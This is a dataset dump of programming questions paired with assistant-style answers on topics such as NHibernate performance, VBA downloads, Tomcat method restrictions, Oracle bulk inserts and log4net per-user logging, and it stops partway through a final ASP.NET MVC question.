instruction
stringlengths
14
27.6k
completion
stringlengths
3
38.3k
__original_row_idx
int64
0
50k
conversations
listlengths
2
2
First a little intro: Last year i wrote this http://dragan.yourtree.org/code/canvas-3d-graph/ Now, i want to make complete rewrite of it, because that old version have some limitations, for example: sometimes it happens that bars are not visible, because they are drawn one behind another. In this old version there is n...
Creating a 3D engine from scratch can be a rewarding project, and while there are many resources available online, finding a cohesive tutorial that covers all relevant topics can indeed be a challenge. Here are some recommendations that cover various aspects of 3D graphics, including vectors, matrices, camera, lighting...
46,944
[ { "from": "human", "value": "First a little intro:\nLast year i wrote this http://dragan.yourtree.org/code/canvas-3d-graph/\nNow, i want to make complete rewrite of it, because that old version have some limitations, for example: sometimes it happens that bars are not visible, because they are drawn one beh...
I don't think that this is specific to a language or framework, but I am using xUnit.net and C#. I have a function that returns a random date in a certain range. I pass in a date, and the returning date is always in range of 1 to 40 years before the given date. Now I just wonder if there is a good way to unit test this...
Testing functions that return random results can indeed be challenging. The randomness itself means that you need to ensure that the output adheres to certain constraints rather than being able to predict specific outputs. Here are a few strategies you can employ when unit testing a function that generates a random dat...
45,010
[ { "from": "human", "value": "I don't think that this is specific to a language or framework, but I am using xUnit.net and C#.\nI have a function that returns a random date in a certain range. I pass in a date, and the returning date is always in range of 1 to 40 years before the given date.\nNow I just wond...
I'm looking for a spam filter that I can integrate into my ASP.NET application. I don't want any delegate services (e.g. Akismet) as I'm doing this for a high traffic website, any suggestions? Edit: I mean a post spam filter, it's a forum based website. Edit: Thanks for your answer but I'm not looking for a Captcha, I'...
For a high-traffic forum-based ASP.NET application where you want to implement a spam filtering system without relying on external services, you have a few options that can be used to detect and filter out spam posts. ### 1. **Bayesian Spam Filter** Bayesian filtering is a common method for spam detection that uses st...
46,857
[ { "from": "human", "value": "I'm looking for a spam filter that I can integrate into my ASP.NET application. I don't want any delegate services (e.g. Akismet) as I'm doing this for a high traffic website, any suggestions?\nEdit:\nI mean a post spam filter, it's a forum based website.\nEdit:\nThanks for your...
When do you know it's time to refactor/review some piece of code ? And better yet, when do you do it? Probably like others, I've found myself knowing that something needs a refactor/review but deadlines and management left no time for that. I'd also like to hear how you include code review in the general development pr...
Knowing when it's time to refactor or review a piece of code is often a blend of instinct, experience, and certain indicators that signal the need for improvement. Here are some key indicators and strategies to guide you through this process: ### When to Refactor/Review Code 1. **Code Smells**: Common indicators, oft...
45,459
[ { "from": "human", "value": "When do you know it's time to refactor/review some piece of code ? And better yet, when do you do it?\nProbably like others, I've found myself knowing that something needs a refactor/review but deadlines and management left no time for that. I'd also like to hear how you include...
I am implementing a "locking" system in my app which protects my app against being copied and used illegally. The system checks the signature of a hardware-based code and expects it to be signed with a Private Key that only my company owns. (The app has got the Public Key to validate the signature.) I want to make sure...
Implementing a locking system to protect your application against unauthorized use is a crucial task, and you've taken a good initial step by considering the use of digital signatures for assembly protection. Here’s an overview of how this system works and what you should consider: ### Signing Assemblies 1. **Assembl...
48,923
[ { "from": "human", "value": "I am implementing a \"locking\" system in my app which protects my app against being copied and used illegally. The system checks the signature of a hardware-based code and expects it to be signed with a Private Key that only my company owns. (The app has got the Public Key to v...
I have a webapp being hosted with a public hosting company, the site is not live yet, and I am still doing some testing with it. I am using nHibernate with Windsor Castle Container for dependency injection and the site seems to be responding very slow from time to time. I've contacted support but they said that it's m...
Performance issues with web applications that use ORM (Object-Relational Mapping) libraries like NHibernate can stem from several factors, especially when hosted with public hosting companies. Here are some common issues and suggestions to troubleshoot and improve performance: ### Common Causes of Performance Issues ...
47,766
[ { "from": "human", "value": "I have a webapp being hosted with a public hosting company, the site is not live yet, and I am still doing some testing with it. I am using nHibernate with Windsor Castle Container for dependency injection and the site seems to be responding very slow from time to time. I've co...
I've been testing out the performance and memory profiler AQTime to see if it's worthwhile spending those big $$$ for it for my Delphi application. What amazes me is how it can give you source line level performance tracing (which includes the number of times each line was executed and the amount of time that line too...
AQTime and similar profiling tools use various techniques to provide line-by-line performance analysis without requiring modifications to the source code. Here are some of the common methods employed: ### 1. **Instrumentation** - **Dynamic Instrumentation:** This technique involves modifying the executable in memor...
46,287
[ { "from": "human", "value": "I've been testing out the performance and memory profiler AQTime to see if it's worthwhile spending those big $$$ for it for my Delphi application. \nWhat amazes me is how it can give you source line level performance tracing (which includes the number of times each line was exe...
I need to create a 3D model of a cube with a circular hole punched at the center of one face passing completely through the cube to the opposite side. I am able to generate the vertices for the faces and for the holes. Four of the faces (untouched by the hole) can be modeled as a single triangle strip. The inside of th...
Creating a 3D model of a cube with a circular hole punched through the center of one face requires careful handling of the vertex data and the index buffer to create a seamless rendering. Given that you plan to use triangle strips for both the faces of the cube (minus the hole) and the circular hole, I'll outline the s...
49,016
[ { "from": "human", "value": "I need to create a 3D model of a cube with a circular hole punched at the center of one face passing completely through the cube to the opposite side. I am able to generate the vertices for the faces and for the holes.\nFour of the faces (untouched by the hole) can be modeled as...
I've seen a few examples of RSS Feeds in ASP.NET MVC, like this, and some samples in projects (like Oxite), but none of them are complete. Eg. None of them check for the header If-Modified-Since in the request, to save bandwidth. I do not want to reinvent the wheel, so I stop here asking for some directions.
Creating an RSS feed in ASP.NET MVC that checks for the `If-Modified-Since` header can definitely help save bandwidth and improve performance. Below, I'll provide you with a basic example of how to set up an RSS feed in ASP.NET MVC that includes this header check. ### Step 1: Create an RSS Feed Controller First, crea...
47,517
[ { "from": "human", "value": "I've seen a few examples of RSS Feeds in ASP.NET MVC, like this, and some samples in projects (like Oxite), but none of them are complete. \nEg. None of them check for the header \n If-Modified-Since\n\nin the request, to save bandwidth.\nI do not want to reinvent the wheel, so...
I'm trying to use an excel VB macro to download excel files from a membership password-protected site. I am using the "InternetExplorer" object to open a browser window, log-in and browse to the correct page, then scanning for the links I want in the page. Using the Workbooks.Open(URLstring) doesn't work because Excel ...
Automating the download of files from a password-protected site using VBA can be quite complex, especially if you want to handle browser interactions like "right-click Save Target As." However, you can still use the `InternetExplorer` object to navigate, log in, and download files programmatically. Here’s a step-by-st...
45,466
[ { "from": "human", "value": "I'm trying to use an excel VB macro to download excel files from a membership password-protected site. I am using the \"InternetExplorer\" object to open a browser window, log-in and browse to the correct page, then scanning for the links I want in the page. Using the Workbooks....
A common web UI design is to display a sortable grid (GridView, ListView, DataGrid) with paging. That is, the user can click on any column header to cause the records to be sorted in ascending or descending order on that column's data. And, the user can navigate among the pages of, say, 10 records at a time. There may...
To write unit tests that confirm the selected records in a sortable grid with paging, you need to consider multiple scenarios based on filters, sort orders, and pagination. Below is a structured approach to writing unit tests, which includes setting up test data, applying filters and sorting, and verifying the output. ...
48,410
[ { "from": "human", "value": "A common web UI design is to display a sortable grid (GridView, ListView, DataGrid) with paging. That is, the user can click on any column header to cause the records to be sorted in ascending or descending order on that column's data. And, the user can navigate among the pages ...
I'm working on an ASP.net 3.5 website with MooTools as the AJAX framework. I want to disable ASP.net's AJAX framework so it behaves more like ASP.net 2.0. This is to decrease page loading times and to reduce incompatibilities. Is this possible and if so how do I go about it?
Yes, it's possible to disable ASP.NET's AJAX framework in an ASP.NET 3.5 website, allowing you to use MooTools or any other AJAX framework of your choice without interference. Here's how you can achieve this: ### Steps to Disable ASP.NET AJAX in ASP.NET 3.5 1. **Remove ScriptManager Control:** If you have a `Scrip...
47,797
[ { "from": "human", "value": "I'm working on an ASP.net 3.5 website with MooTools as the AJAX framework. I want to disable ASP.net's AJAX framework so it behaves more like ASP.net 2.0. This is to decrease page loading times and to reduce incompatibilities. Is this possible and if so how do I go about it?\n...
Considering you have an MVVM Architecture in WPF like Josh Smith's examples How would you implement two properties 'synced' that update eachother? I have a Price property, and a PriceVatInclusive property in my model. -When the Price changes, I want to see the Vat inclusive price to automatically be 'Price * 1.21'. -...
In an MVVM (Model-View-ViewModel) architecture in WPF, you would typically manage the synchronization between properties within the ViewModel. However, if you're dealing with an Entity Framework entity, you may want to keep the calculation logic within the ViewModel to ensure that you maintain separation of concerns. H...
46,070
[ { "from": "human", "value": "Considering you have an MVVM Architecture in WPF like Josh Smith's examples\nHow would you implement two properties 'synced' that update eachother? I have a Price property, and a PriceVatInclusive property in my model. \n-When the Price changes, I want to see the Vat inclusive p...
dict methods dict.keys(), dict.items() and dict.values() return “views” instead of lists. Source First of all, how is a view different from an iterator? Secondly, what is the benefit of this change? Is it just for performance reasons? It doesn't seem intuitive to me, i.e., I'm asking for a list of things (give me a...
In Python, the `dict.keys()`, `dict.items()`, and `dict.values()` methods return view objects instead of lists. Let's break down your questions regarding this behavior: ### 1. Difference Between a View and an Iterator - **View Objects**: A view object is a dynamic view of the dictionary’s entries. This means that whe...
49,348
[ { "from": "human", "value": "\ndict methods dict.keys(), dict.items() and dict.values()\nreturn “views” instead of lists.\n\nSource\nFirst of all, how is a view different from an iterator? Secondly, what is the benefit of this change? Is it just for performance reasons?\nIt doesn't seem intuitive to me, i...
I was hoping to automate some tasks related to SubVersion, so I got SharpSvn. Unfortunately I cant find much documentation for it. I want to be able to view the changes after a user commits a new revision so I can parse the code for special comments that can then be uploaded into my ticket system.
SharpSvn is a .NET library that provides an interface for working with Subversion (SVN). While documentation may be sparse, you can achieve your task by leveraging the SharpSvn library to listen for repository changes and then parse the commit messages and files as needed. Here’s a general outline of how you can imple...
48,691
[ { "from": "human", "value": "I was hoping to automate some tasks related to SubVersion, so I got SharpSvn. Unfortunately I cant find much documentation for it. \nI want to be able to view the changes after a user commits a new revision so I can parse the code for special comments that can then be uploaded i...
Back in the scripted ASP and ColdFusion days, I used to work on projects that would build code generators for ASP or Coldfusion, typically in C++, in order to be more object oriented in application design and not have developers writing scripted code, which often was called "spaghetti code" for it's size and complexity...
Yes, there are several code generators and frameworks available for PHP that can help you adhere to object-oriented design principles and mitigate the risks of producing "spaghetti code". Below are some tools, libraries, and references that can assist you in creating code generators or using existing ones effectively: ...
45,654
[ { "from": "human", "value": "Back in the scripted ASP and ColdFusion days, I used to work on projects that would build code generators for ASP or Coldfusion, typically in C++, in order to be more object oriented in application design and not have developers writing scripted code, which often was called \"sp...
I have a multi-threaded Windows application that occasionally deadlocks. Inevitably this happens on a customer system and not when the software is in test. What is the easiest way of getting a Windows Minidump of the current state of the application? If it could also terminate the application so the user can restart it...
To create a Windows Minidump of a running multi-threaded application that is deadlocked, you can use the following approaches. These methods allow you to capture a snapshot of the application state at the time of the deadlock, and you can also terminate the application if needed. ### 1. Using Task Manager This is the...
29,031
[ { "from": "human", "value": "I have a multi-threaded Windows application that occasionally deadlocks. Inevitably this happens on a customer system and not when the software is in test. What is the easiest way of getting a Windows Minidump of the current state of the application? If it could also terminate t...
Is there a nice place for learning the JVM bytecode instruction set. The specification perhaps and maybe some tutorials? I ask because I would like to design a toy language and a compiler for it that generates JVM bytecode. Thanks for your knowledge and perhaps googling.
Learning the JVM bytecode instruction set is a great step toward designing a toy language and a compiler. Here are some useful resources, including the specification and tutorials, that can help you get started: ### 1. **JVM Specification** The official Java Virtual Machine Specification is an excellent resource. It d...
48,072
[ { "from": "human", "value": "Is there a nice place for learning the JVM bytecode instruction set. The specification perhaps and maybe some tutorials?\nI ask because I would like to design a toy language and a compiler for it that generates JVM bytecode.\nThanks for your knowledge and perhaps googling. \n" ...
I'm trying to diff two strings to determine whether or not they solely vary in one numerical subset of the string structure; for example, varies_in_single_number_field('foo7bar', 'foo123bar') # Returns True, because 7 != 123, and there's only one varying # number region between the two strings. In Python I can use the...
In C++, you can achieve similar functionality without a direct equivalent of Python's `difflib`. You can iterate through both strings and identify the positions where they differ. The following approach checks for variations in numerical segments only and ensures that only one such segment differs. Here's how you can ...
29,028
[ { "from": "human", "value": "I'm trying to diff two strings to determine whether or not they solely vary in one numerical subset of the string structure; for example,\nvaries_in_single_number_field('foo7bar', 'foo123bar')\n# Returns True, because 7 != 123, and there's only one varying\n# number region betwe...
I have a website with a form that uses TinyMCE; independently, I use jQuery. When I load the form from staging server on Firefox 3 (MacOS X, Linux), TinyMCE doesn't finish loading. There is an error in Firefox console, saying that t.getBody() returned null. t.getBody(), as far as I understand from TinyMCE docs, is a...
The issue you're facing appears to be a classic case of race conditions, particularly involving the asynchronous loading and initialization of JavaScript components (TinyMCE and jQuery in this case). It’s true that JavaScript is single-threaded, but it can still have asynchronous operations, such as loading external sc...
42,718
[ { "from": "human", "value": "I have a website with a form that uses TinyMCE; independently, I use jQuery. When I load the form from staging server on Firefox 3 (MacOS X, Linux), TinyMCE doesn't finish loading. There is an error in Firefox console, saying that t.getBody() returned null. t.getBody(), as fa...
Assume I allow the user to input a arbitrary numerical expression that allows usage of the explicit set of functions and predefined variables. Interpreting this is pretty straight forward but what if performance is a critical factor? I need a way to compile (in runtime) a string with a expression into something that ca...
To optimize the performance of executing arbitrary numerical expressions multiple times, you can use techniques such as Just-In-Time (JIT) compilation or expression trees. Here’s a general approach using Python as an example, but similar concepts apply to other programming languages. ### Using `NumPy` with `eval` If ...
47,054
[ { "from": "human", "value": "Assume I allow the user to input a arbitrary numerical expression that allows usage of the explicit set of functions and predefined variables.\nInterpreting this is pretty straight forward but what if performance is a critical factor?\nI need a way to compile (in runtime) a stri...
Finally, I have a question to ask on Stack Overflow! :-) The main target is for Java but I believe it is mostly language agnostic: if you don't have native assert, you can always simulate it. I work for a company selling a suite of softwares written in Java. The code is old, dating back to Java 1.3 at least, and at som...
You've posed several important questions about the use of assertions in Java, and it's great that you're looking to clarify their role in a legacy codebase. Let's tackle your queries one by one, focusing on best practices and common conventions around assertions. ### 1. Use of Assertions to Check for Null In your cod...
45,552
[ { "from": "human", "value": "Finally, I have a question to ask on Stack Overflow! :-)\nThe main target is for Java but I believe it is mostly language agnostic: if you don't have native assert, you can always simulate it.\nI work for a company selling a suite of softwares written in Java. The code is old, d...
I am implementing web services for a PHP application and am trying to understand what both standard web services and RESTful web services have to offer. My intent is to write wrapper code to abstract away the web service details so that developers can just "instantiate remote objects" and use them. Here are my thought...
You're exploring a couple of key paradigms in web services—RESTful and SOAP (Standard Web Services)—and you're on the right track with your observations. Let’s expand on your thoughts and clarify some points. ### RESTful Web Services 1. **Resource-Oriented**: REST (Representational State Transfer) is based on the ide...
41,979
[ { "from": "human", "value": "I am implementing web services for a PHP application and am trying to understand what both standard web services and RESTful web services have to offer. \nMy intent is to write wrapper code to abstract away the web service details so that developers can just \"instantiate remote...
Does PHP have the ability to watch a variable (or object property) and run a function when its value changes, similar to Gecko's Javascript watch function?
PHP does not natively provide a feature like JavaScript's `watch` function that allows you to automatically observe changes to a variable or an object property. PHP is a server-side scripting language, and its execution model is quite different from that of JavaScript, which runs in a client-side context where it can w...
48,067
[ { "from": "human", "value": "Does PHP have the ability to watch a variable (or object property) and run a function when its value changes, similar to Gecko's Javascript watch function?\n" }, { "from": "gpt", "value": "PHP does not natively provide a feature like JavaScript's `watch` function tha...
Gmail automatically greys text that looks like a signature. Anyone have any guesses how it does this? (I've noticed that it depends on the presence of the sender's name, but I think that's only part of the story). I ask because I'm working on a web application that has an email interface, and I'd like to remove users' ...
Gmail's automatic signature detection is based on several heuristics, and while the exact algorithm is proprietary, there are some common patterns and clues you could consider when developing your own signature detection system for your web application. Here are some aspects to think about: 1. **Presence of Sender’s N...
49,182
[ { "from": "human", "value": "Gmail automatically greys text that looks like a signature. Anyone have any guesses how it does this? (I've noticed that it depends on the presence of the sender's name, but I think that's only part of the story).\nI ask because I'm working on a web application that has an email...
Integration via Hibernate, Acegi, Spring, Tiles would be superb.
Integrating Hibernate, Spring, Acegi (now known as Spring Security), and Apache Tiles in a Java web application can help you build a robust and secure application. Below is a step-by-step guide to get you started with integrating these technologies. ### Step 1: Project Setup 1. **Create a Maven or Gradle project**: T...
42,423
[ { "from": "human", "value": "Integration via Hibernate, Acegi, Spring, Tiles would be superb.\n" }, { "from": "gpt", "value": "Integrating Hibernate, Spring, Acegi (now known as Spring Security), and Apache Tiles in a Java web application can help you build a robust and secure application. Below...
VB 6: How can I execute a .bat file but wait until its done running before moving on?
In VB6, you can execute a `.bat` file and wait for it to finish by using the `Shell` function along with some Windows API functions. The `Shell` function allows you to run a command, but it does not wait for it to complete. To achieve this, you need to use the `CreateProcess` and `WaitForSingleObject` API functions. H...
43,726
[ { "from": "human", "value": "VB 6: How can I execute a .bat file but wait until its done running before moving on?\n" }, { "from": "gpt", "value": "In VB6, you can execute a `.bat` file and wait for it to finish by using the `Shell` function along with some Windows API functions. The `Shell` fun...
So my goal here is to have a single search field in an application that will be able to search multiple tables and return results. For example, two of these tables are "performers" and "venues" and there are the following performers: "John Andrews","Andrew Smith","John Doe" and the following venues: "St. Andrew's Churc...
In your case, the approach of using a single aggregated search table with three columns is a feasible solution for searching across multiple tables in your MS Access application. However, as you mentioned, you would need to ensure that this table is updated dynamically whenever changes occur in the underlying tables (p...
48,546
[ { "from": "human", "value": "So my goal here is to have a single search field in an application that will be able to search multiple tables and return results.\nFor example, two of these tables are \"performers\" and \"venues\" and there are the following performers: \"John Andrews\",\"Andrew Smith\",\"John...
Are there any programs that will allow you to follow a sql transaction through to it's end? For instance, say I've inherited a rather complex sql database with a data dictionary. The data dictionary is pretty good, but not as good as say, SQL Doc. I've taken a look at Red Gate's Dependency Tracker and, while that do...
It sounds like you're looking for a way to visually trace SQL transactions through the database, particularly to understand how different objects interact during the execution of a transaction, and to do so in a more visual format than raw SQL output. Here are a few tools and approaches that might help: ### 1. **SQL S...
47,811
[ { "from": "human", "value": "Are there any programs that will allow you to follow a sql transaction through to it's end? For instance, say I've inherited a rather complex sql database with a data dictionary. The data dictionary is pretty good, but not as good as say, SQL Doc. I've taken a look at Red Gat...
I need to disable PUT, DELETE & TRACE HTTP requests on my Application Server, Apache Tomcat 6.0. All other sources, i have searched till now, have directed me towards the limit parameter in httpd.conf, Hence I'd put it before-hand that I am not using Apache Web Server, and requests are directly being handled by Tomcat,...
To disable specific HTTP methods such as PUT, DELETE, and TRACE in an Apache Tomcat application server, you can accomplish this by using a combination of configuration and a filter. Since you are not using the Apache Web Server and are working directly with Tomcat, here's how you can do it: ### Method 1: Using a Filte...
48,335
[ { "from": "human", "value": "I need to disable PUT, DELETE & TRACE HTTP requests on my Application Server, Apache Tomcat 6.0.\nAll other sources, i have searched till now, have directed me towards the limit parameter in httpd.conf, Hence I'd put it before-hand that I am not using Apache Web Server, and requ...
I'm using Python 2.5. The DLL I imported is created using the CLR. The DLL function is returning a string. I'm trying to apply "partition" attribute to it. I'm not able to do it. Even the partition is not working. I think "all strings returned from CLR are returned as Unicode".
In Python 2.5, if the strings returned from a CLR (Common Language Runtime) DLL are indeed Unicode strings, they may not support certain string methods directly without conversion. The `partition` method, for example, works with Python's native string type, but when working with Unicode strings, you need to make sure y...
48,076
[ { "from": "human", "value": "I'm using Python 2.5. The DLL I imported is created using the CLR. The DLL function is returning a string. I'm trying to apply \"partition\" attribute to it. I'm not able to do it. Even the partition is not working. I think \"all strings returned from CLR are returned as Unicode...
I see that EF can update a model based on an existing database schema. However, I'm starting totally from scratch; I don't want to build tables, then rebuild them in the EF model file. Is there a way that I can draw out a model file, and have the SQL tables automatically be created for me?
Yes, you can use Entity Framework (EF) to create SQL tables automatically based on a model you define in your code. This approach is known as Code First Development, which allows you to define your entity classes and relationships in code, and then have EF create the corresponding database schema for you when you run y...
48,902
[ { "from": "human", "value": "I see that EF can update a model based on an existing database schema. However, I'm starting totally from scratch; I don't want to build tables, then rebuild them in the EF model file. Is there a way that I can draw out a model file, and have the SQL tables automatically be crea...
I want to create a scrollable list of pictures fetched from the internet and give the user the ability to click on it. How do i go about doing it in WinForms/C#? Is it possible to add picturebox control/ controls to the listBox? I tried adding a list of picturebox into UserControl with AutoScroll set to true, which wi...
Creating a scrollable list of pictures in a WinForms application using C# can be approached in different ways. The method you're considering with a `UserControl` that has an `AutoScroll` set to `true` is a valid approach. Using `PictureBox` controls allows you to display images while maintaining the flexibility to hand...
48,239
[ { "from": "human", "value": "\nI want to create a scrollable list of pictures fetched from the internet and give the user the ability to click on it. How do i go about doing it in WinForms/C#? Is it possible to add picturebox control/ controls to the listBox?\nI tried adding a list of picturebox into UserCo...
C# FileSystemWatcher does not catch a Perforce revert. It works fine when the same file is modified. This causes a problem because the revert changes the file, but FileSystemWatcher does not get notified. How do you watch for a Perforce revert? Thank you.
The `FileSystemWatcher` class in C# is designed to listen for file system changes, but it may not detect all types of changes that can occur, especially in scenarios involving version control systems like Perforce. A revert operation in Perforce may not trigger the events that the `FileSystemWatcher` looks for, such as...
43,632
[ { "from": "human", "value": "C# FileSystemWatcher does not catch a Perforce revert. It works fine when the same file is modified. This causes a problem because the revert changes the file, but FileSystemWatcher does not get notified.\nHow do you watch for a Perforce revert?\nThank you.\n" }, { "from...
Goal: Create Photomosaics programmatically using .NET and C#. Main reason I'd like to do this programatically is to be able to record which image and where it goes myself, so I can create an animated effect of the images coming together to create the photomosaic. It would be great to just find something existing alrea...
Creating photomosaics programmatically in .NET using C# can be a fun and rewarding project. Although there might not be an out-of-the-box solution that meets all your requirements, you can leverage existing libraries and techniques to build your own photomosaic generation and animation system. Here are some suggestions...
48,002
[ { "from": "human", "value": "Goal: Create Photomosaics programmatically using .NET and C#.\nMain reason I'd like to do this programatically is to be able to record which image and where it goes myself, so I can create an animated effect of the images coming together to create the photomosaic. It would be g...
I have a process that runs on a UNIX (Solaris) server that runs nightly and needs to be able to send out encrypted emails. I only need the "encryption" portion, NOT the digital signature / self-repudiation part of PKI. I use MS Outlook in a corporate setting and I am assuming that when a user clicks "Publish to GAL..."...
To achieve your goal of sending encrypted emails from a UNIX (Solaris) server using public key cryptography while ensuring that the emails can be read by MS Outlook users, follow the steps outlined below. The process involves retrieving the recipient's public key from the Global Address List (GAL), encrypting the email...
49,774
[ { "from": "human", "value": "I have a process that runs on a UNIX (Solaris) server that runs nightly and needs to be able to send out encrypted emails.\nI only need the \"encryption\" portion, NOT the digital signature / self-repudiation part of PKI.\nI use MS Outlook in a corporate setting and I am assumin...
Okay, this bugged me for several years, now. If you sucked in statistics and higher math at school, turn away, now. Too late. Okay. Take a deep breath. Here are the rules. Take two thirty sided dice (yes, they do exist) and roll them simultaneously. Add the two numbers If both dice show <= 5 or >= 26, throw again and ...
To calculate the exact probabilities of the results from the custom dice-rolling mechanics you've described, we need to consider how the rolling process works in detail. ### Breakdown of the Rolling Process 1. **Initial Roll**: Roll two 30-sided dice, \(d_1\) and \(d_2\). 2. **Sum the Rolls**: Calculate \(S = d_1 + d...
49,769
[ { "from": "human", "value": "Okay, this bugged me for several years, now. If you sucked in statistics and higher math at school, turn away, now. Too late.\nOkay. Take a deep breath. Here are the rules. Take two thirty sided dice (yes, they do exist) and roll them simultaneously.\n\nAdd the two numbers\nIf b...
Is there similar component for Delphi like dictionary of Python? I'm now using TStringList to map string/object pairs, but I'd like more general approach and maybe more powerful (TStringList has binary search when it is sorted). Solutions for pre-D2009 are also welcome.
In Delphi, if you're looking for a more general-purpose dictionary-like component similar to Python's dictionary, there are several options available, especially if you are working with Delphi versions prior to 2009 as well as more recent versions. 1. **Generics.Collections** (Delphi 2009 and later): If you're using D...
49,659
[ { "from": "human", "value": "Is there similar component for Delphi like dictionary of Python?\nI'm now using TStringList to map string/object pairs, but I'd like more general approach and maybe more powerful (TStringList has binary search when it is sorted).\nSolutions for pre-D2009 are also welcome.\n" }...
Greetings, I have data stored on mysql with delimiter "," in 1 table. I have rows and column stored on database too. Now i have to output the data using rows and column number stored on database to draw the table. Rows and column number are user input, so it may varies. Let say, there is number 3 on column and 3 on r...
To accomplish your requirement of outputting data from a MySQL database in a tabular format based on dynamic user input for rows and columns, you can follow these steps: 1. **Fetch Data from MySQL**: Retrieve the entire dataset from the table and split it using the delimiter `,`. 2. **Determine the Number of Rows and ...
49,749
[ { "from": "human", "value": "Greetings,\nI have data stored on mysql with delimiter \",\" in 1 table. \nI have rows and column stored on database too. \nNow i have to output the data using rows and column number stored on database to draw the table.\nRows and column number are user input, so it may varies.\...
This question is about a whole class of similar problems, but I'll ask it as a concrete example. I have a server with a file system whose contents fluctuate. I need to monitor the available space on this file system to ensure that it doesn't fill up. For the sake of argument, let's suppose that if it fills up, the serv...
To monitor the available space on your file system and detect abnormal behavior, especially in the context of the three scenarios you've outlined, we can leverage a few strategies and techniques. Below are a few ideas for building a monitoring system that can handle these situations: ### 1. Time-Series Analysis Given...
49,452
[ { "from": "human", "value": "This question is about a whole class of similar problems, but I'll ask it as a concrete example.\nI have a server with a file system whose contents fluctuate. I need to monitor the available space on this file system to ensure that it doesn't fill up. For the sake of argument, l...
I would like to know how can I detect when the user attaches a removable drive on a computer ( in a Windows XP environment ) . There surely has to be a better way than constantly checking to see if the number of drives increased , right ?
Yes, you're correct that constantly polling for changes in the number of drives is not an efficient way to detect when a removable drive is attached in a Windows XP environment. Instead, you can use the Windows API to respond to system events, specifically the "WM_DEVICECHANGE" message, which is sent to a window when d...
49,535
[ { "from": "human", "value": "I would like to know how can I detect when the user attaches a removable drive on a computer ( in a Windows XP environment ) . There surely has to be a better way than constantly checking to see if the number of drives increased , right ?\n" }, { "from": "gpt", "valu...
How to implement some of the tabs need to close by some events or some button click?
To implement a tab interface in a web application where some tabs can be closed by specific events or button clicks, you can use JavaScript (or a JavaScript framework like React, Vue.js, or Angular) along with HTML and CSS. Below is a simple example using plain HTML, CSS, and JavaScript to demonstrate how to create a t...
37,381
[ { "from": "human", "value": "How to implement some of the tabs need to close by some events or some button click?\n" }, { "from": "gpt", "value": "To implement a tab interface in a web application where some tabs can be closed by specific events or button clicks, you can use JavaScript (or a Jav...
I am looking to write an interpreted language in C#, where should I start? I know how I would do it using fun string parsing, but what is the correct way?
Creating an interpreted language is an exciting project! While there are many ways to approach this in C#, here’s a structured path to help you get started: ### 1. Define Language Syntax and Semantics - **Grammar**: Start by defining the grammar of your language. What will your language look like? You can describe ...
45,908
[ { "from": "human", "value": "I am looking to write an interpreted language in C#, where should I start? I know how I would do it using fun string parsing, but what is the correct way?\n" }, { "from": "gpt", "value": "Creating an interpreted language is an exciting project! While there are many w...
I am taking in a string from user input, and splitting it on whitespace (using \w) into an array of strings. I then loop through the array, and append a part of the where clause like this: query += " AND ( " + "field1 LIKE '%" + searchStrings[i] +"%' " + " OR field2 LIKE ...
You're right to be cautious about SQL injection when constructing SQL queries using user input. Even though you believe that the user input has been sanitized by splitting on whitespace, it's important to understand that SQL injection can still occur through various means. ### Potential Risks 1. **Special Characters**...
46,257
[ { "from": "human", "value": "I am taking in a string from user input, and splitting it on whitespace (using \\w) into an array of strings. I then loop through the array, and append a part of the where clause like this:\n query += \" AND ( \"\n\n + \"field1 LIKE '%\" + searchStrin...
I am using the program below to sort and eventually print out email messages. Some messages may contain attachments or HTML code, which would not be good for printing. Is there an easy way to strip attachments and strip HTML but not the text formatted by HTML from the messages? #!/usr/bin/perl use warnings; use strict;...
To address the requirements you've specified — stripping attachments and HTML while preserving plain text — you can enhance your Perl script using a couple of modules, specifically `HTML::Strip` for dealing with HTML content and adding logic to handle attachments. Here's an updated version of your script with comment...
48,075
[ { "from": "human", "value": "I am using the program below to sort and eventually print out email messages. Some messages may contain attachments or HTML code, which would not be good for printing. Is there an easy way to strip attachments and strip HTML but not the text formatted by HTML from the messages?\...
I currently use VMware workstation to create separate workspaces for various clients that I do work for. So for a given client I only install software needed for a specific job, and don't have to worry about software A for client #1 mucking up software B for client #2. With an adequate sized hard drive this works we...
You're currently using VMware Workstation in a way that effectively isolates different client environments, but it's understandable that managing multiple full clones can lead to inefficiencies and maintenance challenges. Let’s break down your workflow and discuss the pros and cons of full clones versus linked clones, ...
43,104
[ { "from": "human", "value": "I currently use VMware workstation to create separate workspaces for various clients that I do work for. So for a given client I only install software needed for a specific job, and don't have to worry about software A for client #1 mucking up software B for client #2. \nWith ...
What is the fastest way to do Bulk insert to Oracle using .NET? I need to transfer about 160K records using .NET to Oracle. Currently, I'm using insert statement and execute it 160K times.It takes about 25 minutes to complete. The source data is stored in a DataTable, as a result of query from another database (MySQL),...
To optimize your bulk insert process into Oracle from a .NET application, you can leverage several approaches that significantly improve performance over executing individual insert statements. Here are some recommended methods you can use: ### 1. Use `OracleBulkCopy` with ODP.NET `OracleBulkCopy` is a class that all...
47,545
[ { "from": "human", "value": "What is the fastest way to do Bulk insert to Oracle using .NET? I need to transfer about 160K records using .NET to Oracle. Currently, I'm using insert statement and execute it 160K times.It takes about 25 minutes to complete. The source data is stored in a DataTable, as a resul...
We are using log4net (replacing nLog) in our Asp.Net web application. nLog had a useful feature that would allow us to create a log file per user - which is helpful for organizing and locating the log statements. Does anyone have any ideas on how to do this with log4net?
Creating user-specific log files in log4net is achievable, but it does require some customization. You'll need to set up log4net to create a separate log file for each user based on the user's identity or any unique identifier. Here’s how you can do this: ### Step-by-Step Guide 1. **Install log4net**: First, ensure y...
45,827
[ { "from": "human", "value": "We are using log4net (replacing nLog) in our Asp.Net web application. nLog had a useful feature that would allow us to create a log file per user - which is helpful for organizing and locating the log statements.\nDoes anyone have any ideas on how to do this with log4net?\n" }...
I have several listboxes that get each of their data from a separate stored procedure. If the user selects an option in 1 listbox, it should filter the other listboxes. I have done this before by adding logic to the stored procedure, but sometimes it seems to get very long. Does anyone know of a better way to app...
When you have multiple ListBoxes that need to filter each other based on selections made, there are several approaches you can consider to manage this complexity without overly complicating your stored procedures. Here are some options to help streamline your implementation: ### 1. Client-Side Filtering Instead of de...
47,771
[ { "from": "human", "value": "I have several listboxes that get each of their data from a separate stored procedure. \nIf the user selects an option in 1 listbox, it should filter the other listboxes. \nI have done this before by adding logic to the stored procedure, but sometimes it seems to get very long...
I have an Asp.net Mvc site where I want to give a separate access and user interface to different clients like: http://company1.mysite.com http://company2.mysite.com http://company3.mysite.com Each client will have a different ui but practically same functionality (or with some features disabled). I'd like to separate...
